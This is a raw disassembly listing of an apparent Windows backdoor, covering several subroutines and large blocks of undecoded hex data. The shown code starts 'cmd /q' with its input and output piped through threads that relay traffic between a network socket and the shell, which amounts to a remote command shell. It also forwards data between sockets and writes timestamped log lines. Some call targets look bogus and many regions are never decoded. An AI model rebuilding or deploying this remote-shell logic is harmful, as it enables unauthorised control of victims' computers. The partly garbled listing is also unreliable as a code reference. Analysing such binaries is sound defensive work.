74C63BF6h, 5C68501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Bh, 410CCBh, 0FF61E890h, 0C0850234h, 91E82975h dd 900225FBh, 43186850h, 59E80043h, 59000047h, 0FC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h, 53022BF5h dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEECh, 50E0458Dh dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342DCh dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF84h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h dd 0FFFFFBECh, 43429868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0E4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 6BE89050h, 8B022501h, 0C969B84Dh, 234h, 8189C63Bh dd 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh, 0C6E89032h dd 0EB022500h, 5E890EDh, 500225FAh, 43425C68h, 45CEE800h dd 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh, 0FBEC858Dh dd 2468FFFFh, 50004342h, 0AC15E8h, 0CC48300h, 75C47539h dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh dd 4507E8h, 0FF575900h, 4CB03C15h, 15FF5300h, 4CB03Ch dd 0AEFC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 2BF337E8h dd 335B9002h, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEEC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 call near ptr 267064Ch nop push eax push offset unk_4343BC call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 call near ptr 267064Ch nop push eax push offset unk_4343BC call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26806FFh loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2760CD2h sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 267064Ch push eax push offset unk_434388 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j call near ptr 26806FFh nop push 1 push dword ptr [esi+8] nop call near ptr 26F0C38h loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB03C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 267064Ch push eax push offset unk_43446C jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 call near ptr 267064Ch nop push eax push offset unk_43442C loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_434404 call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2700000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2650C14h nop test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEE8[eax], ecx call near ptr 26508C8h nop jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 267064Ch push eax push offset unk_4344AC call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFF4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344EC call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAFBC test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx call near ptr 2760DC9h nop jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFF4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26E0000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 0CC15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8F068FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459868FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEE4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 24FA5DE8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 24F9B8E8h, 90EDEB02h dd 25F2F7E8h, 858D5002h, 0FFFFFD2Ch, 43455C68h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 434528h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 0EC32E856h, 5F90022Bh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0ECB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAFBCh, 187FC085h dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h dd 90022BEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43466068h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh dd 43462068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFF415FFh dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Bh, 50106AE8h, 4C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345DCh, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h, 4CB03C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Bh, 0B03C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 2BE96BE8h db 2, 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF8C lea eax, [ebp-104h] push eax push ebx call dword_4CAE90 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE90 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 1AE89000h dd 390224F5h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh dd 50046AF0h, 0FFFFBFh, 57046A00h, 8415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 8415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFD015FFh dd 0F883004Ch, 681975FFh, 1388h, 24F454E8h, 8DFF9002h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 24F420E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF7C15FFh, 75FF004Ch dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 4346CCh, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 0AC68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h dd 8DF475FFh, 5350C445h, 0A068096Ah, 56004346h, 0B00815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB03C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h dd 3E8h, 24F100E8h, 0E8579002h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 2770000h lea eax, [ebp-114h] push 104h push eax nop call near ptr 266091Fh lea eax, [ebp-114h] push offset asc_434E8C ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E5C push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 